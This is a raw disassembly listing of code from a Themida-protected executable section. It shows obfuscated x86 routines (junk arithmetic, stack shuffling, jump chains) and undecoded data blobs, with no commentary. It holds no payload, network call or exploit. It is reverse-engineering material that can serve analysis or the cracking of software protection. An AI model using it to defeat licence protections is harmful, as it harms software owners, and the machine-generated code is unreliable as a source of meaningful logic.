loc_551B7C:				; CODE XREF: Themida_:0054418Fj
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jnz	loc_549279
		push	1
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	2FADh
		mov	[esp], esp
		jmp	loc_547417
; ---------------------------------------------------------------------------

loc_551BA2:				; CODE XREF: Themida_:00549292j
		dec	ecx
		xor	ecx, 91F1A21Bh
		add	edi, ecx
		pop	ecx
		sub	edx, 1BE545A0h
		add	edx, edi
		add	edx, 1BE545A0h
		pop	edi
		jmp	loc_552EF1
; ---------------------------------------------------------------------------

loc_551BC0:				; CODE XREF: Themida_:00549595j
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		jmp	loc_546E04
; ---------------------------------------------------------------------------

loc_551BE5:				; CODE XREF: Themida_:00545FADj
		sub	edi, 2F3420F8h
		sub	edi, eax
		jmp	loc_555FB0
; ---------------------------------------------------------------------------
		dw 0C8BDh
		dd 0E9A4473Eh, 336h
; ---------------------------------------------------------------------------

loc_551BFC:				; CODE XREF: Themida_:0054F5B5j
		mov	eax, 31D36C08h
		push	edi
		mov	edi, 0B8606E68h
		jmp	loc_54714D
; ---------------------------------------------------------------------------
		dd 0E957F501h, 0FFFF1BA6h, 0E959F580h, 0FFFF4A30h, 3C8BFE89h
		dd 9BB1E924h, 0C181FFFFh, 2814E6Ch, 5106F181h, 0CF0987FBh
		dd 0FBEF8159h, 8173D17Bh, 0CD1791EDh, 50FD0130h, 0B07C83B8h
		dd 3CE6E95Ah, 0E1890000h, 27BF5755h, 812BB045h,	0D6C04EFh
		dd 0BEE78168h, 811E1573h, 736783F7h, 9DEF8154h,	89567336h
		dd 74EE9FDh, 0DBB9FFFFh, 0E9353E71h, 0FFFFB980h
; ---------------------------------------------------------------------------

loc_551C80:				; CODE XREF: Themida_:00545E4Aj
		add	ebp, 4
		jmp	loc_54FE6C
; ---------------------------------------------------------------------------
		db 4
		dd 58C3886Ch, 13E9D830h, 81000019h, 4EAh, 24148700h, 0FF5B86E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551CA5:				; CODE XREF: Themida_:00548BCFj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_550229
		push	5C8Fh
		mov	[esp], esi
		push	edi
		jmp	loc_5521A3
; ---------------------------------------------------------------------------

loc_551CBD:				; CODE XREF: Themida_:00548DF2j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_547F19
; ---------------------------------------------------------------------------

loc_551CD3:				; CODE XREF: Themida_:0054F138j
		pop	ecx
		jmp	loc_5442C4
; ---------------------------------------------------------------------------
		db 0BFh, 2, 0
		dd 0D0680000h, 89000053h, 9FB82404h, 3519BD24h,	76860AA8h
		dd 0D709CB35h, 0F010E962h, 475BFFFFh, 87F7814Fh, 29BDE3F3h
		dd 0F7E95FF8h, 8FFFFCCh, 0B1515AF7h, 4E9BE980h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551D16:				; CODE XREF: Themida_:00544645j
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 7A527A61h
		jmp	loc_548842
; ---------------------------------------------------------------------------

loc_551D30:				; CODE XREF: Themida_:0055254Aj
		sub	edx, 20251165h
		shl	edx, 1
		neg	edx
		jmp	loc_543BB1
; ---------------------------------------------------------------------------

loc_551D3F:				; CODE XREF: Themida_:0054EA5Aj
		add	edx, 6B9D2A29h
		sub	edx, 712D40A7h
		add	edx, edi
		push	ebx
		mov	ebx, 712D40A7h
		add	edx, ebx
		pop	ebx
		jmp	loc_546E3B
; ---------------------------------------------------------------------------
aXatos7		db '(ÂX€âŽé"7',0
		align 2
		dw 0BF57h
		dd 45550FC1h, 0FF77CAE9h, 2C6768FFh, 3C890000h,	50E78924h
		dd 4B8h, 1764E900h, 0DE89FFFFh,	81241C8Bh, 4C4h, 0E9545300h
		dd 0FFFFD6F7h
; ---------------------------------------------------------------------------

loc_551D98:				; CODE XREF: Themida_:0054B6FDj
		add	esi, ecx
		add	esi, 182F5491h
		sub	esi, 0D753DA1h
		add	esi, 54620974h
		pop	ecx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_54213D
; ---------------------------------------------------------------------------
		db 81h
		dd 5087242Ch, 815D6E64h, 645087C5h, 0EA89526Eh,	0E95AD089h
		dd 0FFFF09F7h, 0BA241489h, 4, 3F75EE81h, 0D60174EBh, 0FF24DAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551E05:				; CODE XREF: Themida_:0054CCEAj
		mov	eax, ebp
		pop	ebp
		sub	ecx, 31573C3Dh
		add	ecx, eax
		add	ecx, 31573C3Dh
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0BF57241Ch, 61756A5h, 0FFE74AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551E35:				; CODE XREF: Themida_:00553104j
		pop	dx
		add	al, 34h
		push	399h
		mov	[esp], ecx
		push	458Eh
		mov	[esp], edx
		jmp	loc_544110
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 770A94B9h, 5DBA525Eh, 81513A3Dh, 6E29F4F2h
		dd 57C28152h, 0E97E616Bh, 39A0h, 410C685Ah, 2C890000h
		dd 7F24BD24h, 0E95150E8h, 0FFFFFDF2h
; ---------------------------------------------------------------------------

loc_551E84:				; CODE XREF: Themida_:00546597j
		mov	esi, 622F6AFh
		add	ebx, esi
		jmp	loc_5496F8
; ---------------------------------------------------------------------------
		dd 3D22C181h, 0C1290BC4h, 3D22E981h, 1580BC4h, 2434FFCAh
		dd 2421E959h, 2C33FFFFh, 24248B24h, 4EC81h, 1C890000h
		dd 4EC8124h, 89000000h,	22E92424h, 8BFFFF0Bh, 0C4812434h
		dd 4, 0FF12E6E9h, 667704FFh, 5724148Bh,	61E95F54h
		db 5Dh,	2 dup(0FFh)
byte_551EE3	db 68h			; DATA XREF: Themida_:0054196Co
		dd 2A31h, 83243489h, 148904ECh,	51C16824h, 72E96C24h, 8300004Bh
		dd 0C38104C4h, 2C8D4971h, 1A9CC381h, 0C3813222h, 255D7BCBh
		dd 0FFCAE6E9h, 59BC68FFh, 0C159107Fh, 0E98102E9h, 41FD66Dh
		dd 34FFCF89h, 89565924h, 0DFA4E9E6h, 0CD29FFFFh, 5DE82959h
		dd 5FBA525Dh, 0E9673A7Fh, 0FFFF5DB9h, 68EF815Fh, 1D71B91h
		dd 14DE9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551F52:				; CODE XREF: Themida_:0054D30Dj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	50B9h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_545B38
; ---------------------------------------------------------------------------
		dd 0C6E922B2h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551F7B:				; CODE XREF: Themida_:00554DB6j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 154D46A0h
		sub	[esp+8], edx
		pop	edx
		jmp	loc_550A1F
; ---------------------------------------------------------------------------
		dd 0BF26E959h, 48BFFFFh, 0FDCFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551FA2:				; CODE XREF: Themida_:0054585Dj
		and	eax, edi
		jmp	loc_54B69A
; ---------------------------------------------------------------------------

loc_551FA9:				; CODE XREF: Themida_:00543658j
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	edi, 8567A69h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shl	edi, 2
		jmp	loc_551308
; ---------------------------------------------------------------------------
		dd 35BDE95Ch, 3C8BFFFFh, 4EC8324h, 54242C89h, 0E9242C8Bh
		dd 0FFFFEE45h, 21D7BA52h, 8E91338h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551FFF:				; CODE XREF: Themida_:00542D0Aj
					; Themida_:loc_54EE05j
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	41A34175h
		mov	edi, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 46C577Ch
		add	[esp+4], edi
		sub	dword ptr [esp+4], 46C577Ch
		jmp	loc_545F43
; ---------------------------------------------------------------------------

loc_55202A:				; CODE XREF: Themida_:00553647j
		add	esi, eax
		pop	eax
		push	esi
		jmp	loc_54DFD1
; ---------------------------------------------------------------------------

loc_552033:				; CODE XREF: Themida_:00555498j
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_54211D
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 0FAD1E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_55204E:				; CODE XREF: Themida_:00545CB8j
		mov	esi, esp
		add	esi, 4
		jmp	loc_54366C
; ---------------------------------------------------------------------------

loc_55205B:				; CODE XREF: Themida_:005477D9j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_548D56
; ---------------------------------------------------------------------------

loc_552071:				; CODE XREF: Themida_:0054F946j
		mov	edi, 72321385h
		push	edi
		jmp	loc_54E38F
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 48B04C4h,	0E6895624h, 4C681h, 0E0E90000h
		dd 89FFFF76h, 59BE56E7h, 0E9185B6Ch, 0FFFF81C5h, 4C681h
		dd 60E90000h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5520AB:				; CODE XREF: Themida_:0054427Bj
		push	edx
		mov	edx, 380940F6h
		jmp	loc_54335E
; ---------------------------------------------------------------------------

loc_5520B6:				; CODE XREF: Themida_:00552DECj
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		inc	eax
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		add	eax, 18118AD9h
		jmp	loc_54B08B
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 6804C483h, 1C4Bh, 0BD242C89h, 2C3D0AD2h, 294EE9h, 7EE95900h
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5520E7:				; CODE XREF: Themida_:0054BBD7j
		mov	edi, ebp
		mov	ecx, edi
		pop	edi
		pop	ebp
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5558CF
; ---------------------------------------------------------------------------
byte_5520FB	db 0ADh			; DATA XREF: Themida_:005419C4o
		dd 7D0368h, 24348900h, 0FF53E4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552109:				; CODE XREF: Themida_:00554F2Bj
		mov	edx, 4F92A57h
		xchg	ecx, edx
		xchg	eax, ecx
		sub	eax, 1
		xchg	eax, ecx
		push	edx
		push	ecx
		jmp	loc_54AD8F
; ---------------------------------------------------------------------------

loc_55211C:				; CODE XREF: Themida_:0054E577j
		xor	ebx, eax
		pop	eax
		or	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 7A2F21C7h
		neg	edx
		xor	edx, 4C10336h
		jmp	loc_54F38E
; ---------------------------------------------------------------------------

loc_552135:				; CODE XREF: Themida_:0054FF22j
		pop	esp
		mov	[esp], ebp
		jmp	loc_54355A
; ---------------------------------------------------------------------------

loc_55213E:				; CODE XREF: Themida_:0054890Fj
		push	dword ptr [ebx]
		pop	ecx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		push	570Dh
		mov	[esp], eax
		mov	eax, 59772AC2h
		sub	eax, 67BC587Fh
		push	ebx
		mov	ebx, 522B0393h
		xor	eax, ebx
		pop	ebx
		jmp	loc_546484
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEF9B3h, 4EC835Ah, 55243489h, 9433FDBDh, 0F3A7BE7Ah
		dd 0EE81B7A1h, 4C75430Ah, 8CE9EE01h, 0E9FFFF39h, 0FFFEF98Fh
		dd 0C7815F54h, 4, 3304EF83h, 6FE9243Ch
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5521A3:				; CODE XREF: Themida_:00551CB8j
		push	57B8h
		mov	[esp], ebx
		mov	ebx, 19082CA5h
		jmp	loc_54D3E7
; ---------------------------------------------------------------------------
byte_5521B5	db 8Bh,	4, 24h		; DATA XREF: Themida_:0054199Co
		dd 4EC8155h, 0E9000000h, 45F2h,	0D0A8B551h, 61F580E5h
		dd 0E9F5E580h, 0FFFF68F9h
; ---------------------------------------------------------------------------

loc_5521D4:				; CODE XREF: Themida_:00552709j
		add	ebp, edi
		jmp	loc_55687B
; ---------------------------------------------------------------------------

loc_5521DB:				; CODE XREF: Themida_:00552CFFj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_542E3A
; ---------------------------------------------------------------------------

loc_5521F0:				; CODE XREF: Themida_:00548D20j
		push	11B8h
		jmp	loc_542D50
; ---------------------------------------------------------------------------

loc_5521FA:				; CODE XREF: Themida_:0055178Cj
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_546576
; ---------------------------------------------------------------------------

loc_552215:				; CODE XREF: Themida_:00547E66j
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_54C137
; ---------------------------------------------------------------------------
		dd 808FCF80h, 0F7803AE7h, 97B252EDh, 1B12E9h
		db 0
; ---------------------------------------------------------------------------

loc_552241:				; CODE XREF: Themida_:00555B5Ej
		shl	ecx, 5
		xor	ecx, 604459A0h
		and	eax, ecx
		jmp	loc_54393A
; ---------------------------------------------------------------------------
aZhjr		db 'Zhjr',0
		dw 8900h
		dd 0E954242Ch, 0FFFFF108h, 0E904EC83h, 0FFFFCE23h, 5DBDC681h
		dd 0C6817E1Eh, 61CC163Ah, 3DC3C681h, 0A8E92467h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55227F:				; CODE XREF: Themida_:0054C943j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		not	edx
		add	edx, 3A4444CBh
		jmp	loc_546904
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 15FCC781h, 0F7012BC9h, 15FCEF81h,	9E92BC9h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5522AB:				; CODE XREF: Themida_:0054AF21j
		inc	esi
		push	10h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		sub	ecx, eax
		jmp	loc_54E1B2
; ---------------------------------------------------------------------------
		db 28h,	0CFh, 66h
		dd 50526659h, 0B0AFE952h, 3268FFFFh, 58606063h,	0F708E8C1h
		dd 0F8E955D8h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5522E7:				; CODE XREF: Themida_:00552D57j
		inc	eax
		sub	eax, 2B011033h
		or	eax, 2BC872D7h
		add	eax, 6397A421h
		sub	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, ebx
		mov	edi, ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		add	[esp+4], edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		pop	esi
		push	ebp
		jmp	loc_54A333
; ---------------------------------------------------------------------------
		dd 72B65266h, 5A66F428h, 0FFA1A6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55232D:				; CODE XREF: Themida_:00553149j
		shl	eax, 4
		jmp	loc_54CC08
; ---------------------------------------------------------------------------
		db 68h,	19h, 24h
		dd 24890000h, 59DFE924h, 0F681FFFFh, 3AD23DCDh,	83241C8Bh
		dd 0F00104C4h, 0E92434FFh, 0FFFF7341h
; ---------------------------------------------------------------------------

loc_552358:				; CODE XREF: Themida_:00554983j
		dec	edi
		shl	edi, 7
		or	edi, 63762E43h
		push	esi
		mov	esi, 7FC50A9Fh
		shl	esi, 3
		push	edx
		mov	edx, 4ABE3A67h
		and	esi, edx
		pop	edx
		xor	esi, 436E663Bh
		xor	edi, esi
		pop	esi
		add	edi, 894EF66Ch
		add	ebx, edi
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_545945
; ---------------------------------------------------------------------------

loc_552390:				; CODE XREF: Themida_:0054950Bj
		push	dword ptr [esp]
		jmp	loc_54F5DC
; ---------------------------------------------------------------------------
		dd 42E9CE29h, 2DFFFFFDh, 4, 0FFD997E9h
		db 0FFh
byte_5523A9	db 55h,	54h, 5Dh	; DATA XREF: Themida_:00541A54o
		dd 0FF3703E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5523B1:				; CODE XREF: Themida_:00547F56j
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54B29C
; ---------------------------------------------------------------------------
		db 4
		dd 500004A7h, 93E9E089h, 5FFFFF9Eh, 4C781h, 9EE90000h
		dd 4800000Bh, 6D4C4B2Dh, 0E032E925h, 0E953FFFFh, 0FFFEFA98h
		dd 50EA815Bh, 0E92A1726h, 0FFFFC5D6h, 745ED81h,	0ED813F97h
		dd 9594C776h, 15DEA89h,	0C6815AD6h, 4, 8B243487h, 0DE282424h
		dd 0E9241C8Bh, 0FFFFE371h, 0C381DBF7h, 9D03F0A2h, 6C2968h
		dd 241C8900h, 22240481h, 5A52ED5Ah, 5A22EA81h, 895B52EDh
		dd 24148BD3h, 4C481h, 8CE90000h, 81FFFF02h, 0A217A6C6h
		dd 0FFF3013Ch, 348B2434h, 4C48124h, 0E9000000h,	0FFFF3811h
		dd 0DE7FDCB8h, 58C72903h, 0FF88D6E9h, 4BA52FFh,	89000000h
		dd 0EF015AD5h, 5D2434FFh, 1311E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552482:				; CODE XREF: Themida_:005450DBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	17BAh
		mov	[esp], edx
		push	eax
		mov	al, 84h
		shr	al, 4
		and	al, 81h
		not	al
		add	al, 28h
		mov	dh, al
		pop	eax
		jmp	loc_54713D
; ---------------------------------------------------------------------------
dword_5524A4	dd 68D830ACh, 2FFFh, 50241489h,	0B1517AB0h, 5CE1808Eh
					; DATA XREF: Themida_:00541A94o
		dd 0FF2510E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5524BD:				; CODE XREF: Themida_:00542029j
		sub	al, 24h
		sub	al, bh
		add	al, 24h
		pop	ebx
		push	edx
		push	eax
		mov	ah, 88h
		add	ah, 8
		mov	dh, ah
		pop	eax
		jmp	loc_555E0F
; ---------------------------------------------------------------------------
		db 57h
		dd 0B70ED8BFh, 5F685141h, 592E615Ah, 32B4C181h,	0E98114EEh
		dd 50F05EF9h, 6156E949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5524F2:				; CODE XREF: Themida_:00549895j
		push	1361h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5498BF
; ---------------------------------------------------------------------------
		dd 2BDh, 0FFEA0100h, 835D2434h,	0E95204C4h, 0FFFF1E5Dh
; ---------------------------------------------------------------------------

loc_552520:				; CODE XREF: Themida_:0054BED5j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_549501
; ---------------------------------------------------------------------------

loc_55252B:				; CODE XREF: Themida_:005558B7j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 6ABC0D95h
		and	ecx, 331F63BAh
		push	edx
		mov	edx, 0DC92399h
		jmp	loc_551D30
; ---------------------------------------------------------------------------

loc_55254F:				; CODE XREF: Themida_:00550181j
		pop	ebp
		push	ebx
		mov	ebx, 7C3D68E5h
		jmp	loc_54C68F
; ---------------------------------------------------------------------------
		db 89h
		dd 0E789243Ch, 4C781h, 0BD550000h, 4, 875DEF29h, 0E95C243Ch
		dd 0FFFFF5A6h, 6434ECB9h, 1724E926h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552582:				; CODE XREF: Themida_:0054753Fj
		pop	ebx
		xor	ebx, ebp
		xor	ebp, ebx
		xor	ebx, ebp
		push	edx
		jmp	loc_5534C3
; ---------------------------------------------------------------------------
		db 89h
		dd 0BFE9243Ch, 5AFFFF54h, 2C5BD800h, 4D8004Bh, 6650514Bh
		dd 0A623E952h, 34FFFFFFh, 4B2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5525B2:				; CODE XREF: Themida_:00555CABj
		pop	eax
		dec	eax
		sub	eax, 19B36910h
		jmp	loc_5481C7
; ---------------------------------------------------------------------------
		dd offset dword_4F1044+24h
		dw 8900h
		dd 57E92424h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5525CB:				; CODE XREF: Themida_:0054741Fj
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	edi
		mov	edi, 5DCC4297h
		shr	edi, 8
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54A49B
; ---------------------------------------------------------------------------

loc_5525E8:				; CODE XREF: Themida_:005456C6j
		add	[esp+8], eax
		pop	eax
		add	dword ptr [esp+4], 2C0A467Fh
		jmp	loc_54A9DE
; ---------------------------------------------------------------------------
		dw 0EFBBh
		dd 0E9408437h, 0FFFFF1BDh, 81F8E95Bh, 0EC83FFFFh, 1C896602h
		dd 0D9B65224h, 205AF388h, 1C8B66DDh, 2C48124h, 0FE000000h
		dd 5EB353CDh, 34FFDD30h, 89515B24h, 75DCE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552636:				; CODE XREF: Themida_:005511C1j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_549F04
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0EC835A5Eh, 24348904h, 1A51BE56h, 7429605Ah,	0A2E90424h
		dd 0BDFFFF1Dh, 0DF111C2h, 0FF4B88E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552665:				; CODE XREF: Themida_:00544371j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_548897
; ---------------------------------------------------------------------------

loc_55266E:				; CODE XREF: Themida_:0054298Aj
		add	esp, 4
		push	eax
		mov	eax, 5D1F6A32h
		and	eax, 7D775FF1h
		jmp	loc_550288
; ---------------------------------------------------------------------------

loc_552681:				; CODE XREF: Themida_:005519B2j
		sub	esi, 477D6B8Dh
		sub	esi, ecx
		add	esi, 477D6B8Dh
		add	esi, 2DCA742Fh
		sub	esi, 77C70A7h
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, 541C1354h
		shr	ebp, 4
		push	0
		sub	[esp], ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ebp, 6
		jmp	loc_551437
; ---------------------------------------------------------------------------
		dw 0C8Ah
		dd 0E6895624h, 8CBBA52h, 0EAC15DA9h, 0C8AE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5526EA:				; CODE XREF: Themida_:00551A0Fj
		mov	ecx, 37D13509h
		mov	edi, 46D8248Ah
		add	edi, ecx
		pop	ecx
		add	ebp, 65A93E79h
		sub	ebp, 203C7A53h
		add	ebp, 7B5539B3h
		jmp	loc_5521D4
; ---------------------------------------------------------------------------

loc_55270E:				; CODE XREF: Themida_:00547019j
		pop	ebx
		add	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	ebp, 4
		jmp	loc_5551DB
; ---------------------------------------------------------------------------
dword_552720	dd 0E9243C30h, 0FFFF9420h ; DATA XREF: Themida_:00541948o
; ---------------------------------------------------------------------------

loc_552728:				; CODE XREF: Themida_:00550720j
		shr	edi, 2
		shr	edi, 5
		xor	edi, 18DF0524h
		jmp	loc_54EFB8
; ---------------------------------------------------------------------------

loc_552739:				; CODE XREF: Themida_:005456E1j
		xor	ebx, ebp
		xor	ebp, ebx
		not	ebx
		xchg	ebx, ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 545A499Fh
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		push	37DFh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		jmp	loc_544BB3
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2, 2C8BEA29h, 464A6824h, 4890000h, 56E95424h, 5CFFFF10h
		dd 4268C80Fh, 8900002Eh, 84E92404h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_55279B:				; CODE XREF: Themida_:0054ACDEj
		shl	esi, 5
		jmp	loc_54EC72
; ---------------------------------------------------------------------------
		db 0F6h
		dd 8E2C0D2h, 0FF44BEE9h, 8BCD89FFh, 0C483240Ch,	20E95104h
		dd 81FFFF7Ch, 4C4h, 0F359E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5527C6:				; CODE XREF: Themida_:0054618Fj
		pop	esp
		shr	ch, 4
		xor	ch, 0Ah
		sub	esp, 2
		mov	[esp], ax
		mov	ah, 94h
		xor	ch, ah
		mov	ax, [esp]
		add	esp, 2
		add	bl, 0A4h
		sub	bl, ch
		sub	bl, 0A4h
		jmp	loc_54DBAE
; ---------------------------------------------------------------------------
		dw 8166h
		dd 0E97A33F7h, 90Dh, 65B65266h,	5A66F008h, 0C700D62Ch
		dd 582434FFh, 2804C483h, 241C8BF8h, 52E08950h, 4BAh, 0FDE0E900h
		dd 0BE56FFFEh, 4, 34FFF101h, 4BA9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552832:				; CODE XREF: Themida_:00542002j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		push	edx
		push	ecx
		mov	ch, al
		mov	dl, ch
		pop	ecx
		jmp	loc_543B2E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 4EC8304h, 0FF11CDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55285D:				; CODE XREF: Themida_:005430A3j
		mov	eax, 4
		add	ebx, 479F5382h
		jmp	loc_54EEA6
; ---------------------------------------------------------------------------

loc_55286D:				; CODE XREF: Themida_:00555192j
		add	edi, 42A0049Ah
		sub	edi, esi
		sub	edi, 42A0049Ah
		pop	esi
		push	ecx
		mov	ecx, 1
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 1
		dec	edi
		push	18C7h
		mov	[esp], eax
		mov	eax, 4BBF79DCh
		push	esi
		mov	esi, 88151E2h
		jmp	loc_544387
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 5B6C48BFh, 8104E3C1h, 17711BF3h, 1CEB813Ch, 29293226h
		dd 0E95B5BDEh, 10Ch
; ---------------------------------------------------------------------------

loc_5528C4:				; CODE XREF: Themida_:00543970j
		push	1C6360F6h
		jmp	loc_549F0C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 241C8B24h, 4C481h, 89570000h, 3077E9E7h, 487FFFFh, 0CA4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5528EA:				; CODE XREF: Themida_:00545F8Aj
		push	edi
		mov	edi, 4
		add	edx, 28AC202Bh
		add	edx, edi
		jmp	loc_5553AC
; ---------------------------------------------------------------------------
		db 4, 13h, 59h
		dd 0AD8E9h
		db 0
; ---------------------------------------------------------------------------

loc_552905:				; CODE XREF: Themida_:00556B70j
		dec	ecx
		push	edi
		push	5240BCC0h
		pop	edi
		sub	ecx, edi
		mov	edi, [esp]
		jmp	loc_54FAC9
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 242C8900h, 0FF20B6E9h,	48F5FFFh, 0A1A6824h, 3C890000h
		dd 24348724h, 0FF6E63E9h, 0B6C381FFh, 295B186Fh, 0CCB9E9C3h
		dd 0DD05FFFFh, 8B6F7839h, 0C4812414h, 4, 2BD55h, 0E8010000h
		dd 0FFF11FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552961:				; CODE XREF: Themida_:0054A7FDj
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_541D66
; ---------------------------------------------------------------------------
		db 50h
		dd 0B8h, 0E9C68900h, 0FFFF59B3h, 0A13F76BAh, 1BF577Fh
		dd 0E9000000h, 0FFFF2569h, 0FEF18EE9h, 6768BEFFh, 0C681509Ch
		dd 57183A19h, 0E908E6C1h, 0FFFF77AAh, 8004B252h, 6896C2h
		dd 28000000h, 148A2414h, 4C48324h, 0EA80D2F6h, 49EA802Eh
		dd 49F280h, 24148BD0h, 0E904C483h, 0FFFF856Ah, 83242C8Bh
		dd 348704C4h, 0CE04E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5529DE:				; CODE XREF: Themida_:0054AF02j
		add	dword ptr [edi+20h], 62BA2505h
		jmp	loc_54B64C
; ---------------------------------------------------------------------------

